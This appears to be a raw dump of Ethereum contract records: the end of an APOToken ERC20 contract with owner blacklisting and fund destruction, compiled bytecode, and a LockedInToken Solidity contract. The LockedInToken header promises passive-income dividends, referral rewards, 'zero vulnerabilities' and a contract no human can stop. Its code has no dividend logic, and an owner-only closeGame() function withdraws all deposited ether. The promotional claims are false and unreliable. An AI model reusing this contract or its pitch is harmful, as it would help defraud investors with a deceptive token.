AddedBlackList(account); } function removeBlackList (address account) public onlyOwner virtual { _blacklist[account] = false; emit RemovedBlackList(account); } function destroyBlackFunds (address account) public onlyOwner virtual { require(_blacklist[account]); uint256 dirtyFunds = balanceOf(account); _balances[account] = _balances[account].sub(dirtyFunds, "ERC20: destroy amount exceeds balance"); _totalSupply = _totalSupply.sub(dirtyFunds); emit Transfer(account, address(0), dirtyFunds); emit DestroyedBlackFunds(account, dirtyFunds); } } contract APOToken is ERC20 { constructor() public ERC20("APOLLO TOKEN", "APO") { _mint(msg.sender, 2 * 10 ** 27); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d7146105f5578063a9059cbb1461065b578063dd62ed3e146106c1578063e4997dc514610739578063f2fde38b1461077d578063f3bdc228146107c157610142565b806370a08231146104785780638456cb59146104d05780638da5cb5b146104da57806395d89b41146105245780639dc29fac146105a757610142565b8063313ce5671161010a578063313ce56714610318578063333e99db1461033c57806339509351146103985780633f4ba83a146103fe57806340c10f19146104085780635c975abb1461045657610142565b806306fdde0314610147578063095ea7b3146101ca5780630ecb93c01461023057806318160ddd1461027457806323b872dd14610292575b600080fd5b61014f610805565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a7565b604051808215151515815260200191505060405180910390f35b6102726004803603602081101561024657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c5565b005b61027c610a2c565b6040518082815260200191505060405180910390f35b6102fe600480360360608110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a36565b604051808215151515815260200191505060405180910390f35b610320610b0f565b604051808260ff1660ff16815260200191505060405180910390f35b61037e6004803603602081101561035257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b26565b604051808215151515815260200191505060405180910390f35b6103e4600480360360408110156103ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b7c565b604051808215151515815260200191505060405180910390f35b610406610c2f565b005b6104546004803603604081101561041e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e00565b005b61045e610ed7565b604051808215151515815260200191505060405180910390f35b6104ba6004803603602081101561048e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eed565b6040518082815260200191505060405180910390f35b6104d8610f36565b005b6104e2611109565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052c611132565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561056c578082015181840152602081019050610551565b50505050905090810190601f1680156105995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105f3600480360360408110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d4565b005b6106416004803603604081101561060b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ab565b604051808215151515815260200191505060405180910390f35b6106a76004803603604081101561067157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611378565b604051808215151515815260200191505060405180910390f35b610723600480360360408110156106d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611396565b6040518082815260200191505060405180910390f35b61077b6004803603602081101561074f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061141d565b005b6107bf6004803603602081101561079357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611584565b005b610803600480360360208110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611791565b005b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561089d5780601f106108725761010080835404028352916020019161089d565b820191906000526020600020905b81548152906001019060200180831161088057829003601f168201915b5050505050905090565b60006108bb6108b4611ac7565b8484611acf565b6001905092915050565b6108cd611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc60405160405180910390a250565b6000600454905090565b6000610a43848484611cc6565b610b0484610a4f611ac7565b610aff856040518060600160405280602881526020016126bf60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ab5611ac7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8a9092919063ffffffff16565b611acf565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610c25610b89611ac7565b84610c208560026000610b9a611ac7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3f90919063ffffffff16565b611acf565b6001905092915050565b610c37611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600060149054906101000a900460ff16610d7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610dbd611ac7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b610e08611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610ed3828261204a565b5050565b60008060149054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f3e611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600060149054906101000a900460ff1615611082576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586110c6611ac7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111ca5780601f1061119f576101008083540402835291602001916111ca565b820191906000526020600020905b8154815290600101906020018083116111ad57829003601f168201915b5050505050905090565b6111dc611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461129d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112a78282612260565b5050565b600061136e6112b8611ac7565b84611369856040518060600160405280602581526020016127b760259139600260006112e2611ac7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8a9092919063ffffffff16565b611acf565b6001905092915050565b600061138c611385611ac7565b8484611cc6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611425611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c60405160405180910390a250565b61158c611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461164d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806126236026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611799611ac7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461185a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118b057600080fd5b60006118bb82610eed565b90506119298160405180606001604052806025815260200161279260259139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8a9092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119818160045461247390919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c6826040518082815260200191505060405180910390a25050565b600080828401905083811015611abd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b55576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061276e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126496022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806127496025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dd2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806125de6023913960400191505060405180910390fd5b611ddc83836124bd565b611e488160405180606001604052806026815260200161269960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8a9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611edd81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612037576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ffc578082015181840152602081019050611fe1565b50505050905090810190601f1680156120295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6120f86000836124bd565b61210d81600454611a3f90919063ffffffff16565b60048190555061216581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fdcdea898caf5576419f89caf69301592a4758349a0bd62300b58849213420a72826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127286021913960400191505060405180910390fd5b6122f18260006124bd565b61235d8160405180606001604052806022815260200161260160229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8a9092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b58160045461247390919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fe12923b90d8a6ca7dc57994322d2afba0be75f98e97e2b892fd34c0d7c622969826040518082815260200191505060405180910390a25050565b60006124b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f8a565b905092915050565b6124c5610ed7565b1561251b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806127dc602a913960400191505060405180910390fd5b61252482610b26565b1561257a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061266b602e913960400191505060405180910390fd5b61258381610b26565b156125d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260418152602001806126e76041913960600191505060405180910390fd5b505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737341504f546f6b656e3a2073656e64657220696e20626c61636b6c6973742063616e206e6f74207472616e7366657245524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636541504f546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c69737445524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064657374726f7920616d6f756e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f45524332305061757361626c653a20746f6b656e207472616e73666572207768696c6520706175736564a2646970667358221220e9005731a903b7f25f70c9c7f3c83501fedb6be7f8ff997037a95522fb8d1a7164736f6c63430006080033
{"success": true, "error": null, "results": {}}
8,551
0x234da73f6c033848d98c263d1f340f4a861c98a0
pragma solidity ^0.4.20; /* * *_ _ _ _ _ _ _ | | | | | (_) (_) | | | | | | ___ ___| | _____ __| |_ _ __ _ ___ | |_ ___ | | _____ _ __ ___ | | / _ \ / __| |/ / _ \/ _` | | &#39;_ \ | |/ _ \ | __/ _ \| |/ / _ \ &#39;_ \/ __| | |___| (_) | (__| < __/ (_| | | | | |_| | (_) | | || (_) | < __/ | | \__ \ \_____/\___/ \___|_|\_\___|\__,_|_|_| |_(_)_|\___/ \__\___/|_|\_\___|_| |_|___/ * * Coming to www.lockedin.io this weekend. * * An autonomousfully automated passive income tokens: * [x] Created by a team of professional Developers from India who run a software company and specialize in Internet and Cryptographic Security * [x] Pen-tested multiple times with zero vulnerabilities! * [X] Able to operate even if our website www.lockedin.io is down via Metamask and Etherscan * [x] As people join your make money as people leave you make money 24/7 – Not a lending platform but a human-less passive income machine on the Ethereum Blockchain * [x] Once deployed neither we nor any other human can alter, change or stop the contract it will run for as long as Ethereum is running! * [x] Unlike similar projects the developers are only allowing 0.3 ETH to be purchased by Developers at deployment - Fair for the Public! * - 25% Reward of dividends if someone signs up using your Masternode link * - You earn by others depositing or withdrawing ETH and this passive ETH earnings can either be reinvested or you can withdraw it at any time without penalty. * Upon entry into the contract it will automatically deduct your 10% entry and exit fees so the longer you remain and the higher the volume the more you earn and the more that people join or leave you also earn more. * You are able to withdraw your entire balance at any time you so choose. * * */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) public returns (bool); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); } contract LockedInToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = "LockedInToken"; string public constant symbol = "LIT"; uint public constant decimals = 8; uint256 public totalSupply = 80000000e8; uint256 public totalDistributed = 1e8; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function LockedInToken() public { owner = msg.sender; value = 5403e8; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function airdrop(address[] addresses) onlyOwner canDistr public { require(addresses.length <= 255); require(value <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(value <= totalRemaining); distr(addresses[i], value); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr public { if (value > totalRemaining) { value = totalRemaining; } require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = SafeMath.mul(value,100); distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function closeGame() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610148578063095ea7b3146101d657806318160ddd1461023057806323b872dd14610259578063313ce567146102d25780633fa4f245146102fb57806342966c681461032457806370a0823114610347578063729ad39e14610394578063786b844b146103ee57806395d89b41146104035780639b1cbccc14610491578063a8c310d5146104be578063a9059cbb14610558578063aa6ca808146105b2578063c108d542146105bc578063c489744b146105e9578063d8a5436014610655578063dd62ed3e1461067e578063e58fc54c146106ea578063efca2eed1461073b578063f2fde38b14610764578063f3e4877c1461079d578063f9f92be414610800575b610146610851565b005b341561015357600080fd5b61015b610945565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019b578082015181840152602081019050610180565b50505050905090810190601f1680156101c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e157600080fd5b610216600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061097e565b604051808215151515815260200191505060405180910390f35b341561023b57600080fd5b610243610b0c565b6040518082815260200191505060405180910390f35b341561026457600080fd5b6102b8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b12565b604051808215151515815260200191505060405180910390f35b34156102dd57600080fd5b6102e5610ee8565b6040518082815260200191505060405180910390f35b341561030657600080fd5b61030e610eed565b6040518082815260200191505060405180910390f35b341561032f57600080fd5b6103456004808035906020019091905050610ef3565b005b341561035257600080fd5b61037e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110bf565b6040518082815260200191505060405180910390f35b341561039f57600080fd5b6103ec600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611108565b005b34156103f957600080fd5b610401611225565b005b341561040e57600080fd5b610416611302565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045657808201518184015260208101905061043b565b50505050905090810190601f1680156104835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049c57600080fd5b6104a461133b565b604051808215151515815260200191505060405180910390f35b34156104c957600080fd5b61055660048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611403565b005b341561056357600080fd5b610598600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611554565b604051808215151515815260200191505060405180910390f35b6105ba610851565b005b34156105c757600080fd5b6105cf61178f565b604051808215151515815260200191505060405180910390f35b34156105f457600080fd5b61063f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117a2565b6040518082815260200191505060405180910390f35b341561066057600080fd5b610668611868565b6040518082815260200191505060405180910390f35b341561068957600080fd5b6106d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061186e565b6040518082815260200191505060405180910390f35b34156106f557600080fd5b610721600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118f5565b604051808215151515815260200191505060405180910390f35b341561074657600080fd5b61074e611af0565b6040518082815260200191505060405180910390f35b341561076f57600080fd5b61079b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611af6565b005b34156107a857600080fd5b6107fe600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050611bcd565b005b341561080b57600080fd5b610837600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ce5565b604051808215151515815260200191505060405180910390f35b600080600960009054906101000a900460ff1615151561087057600080fd5b6007546008541115610886576007546008819055505b6007546008541115151561089957600080fd5b3391506108a96008546064611d05565b90506108b58282611d38565b506000811115610918576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600554600654101515610941576001600960006101000a81548160ff0219169083151502179055505b5050565b6040805190810160405280600d81526020017f4c6f636b6564496e546f6b656e0000000000000000000000000000000000000081525081565b6000808214158015610a0d57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200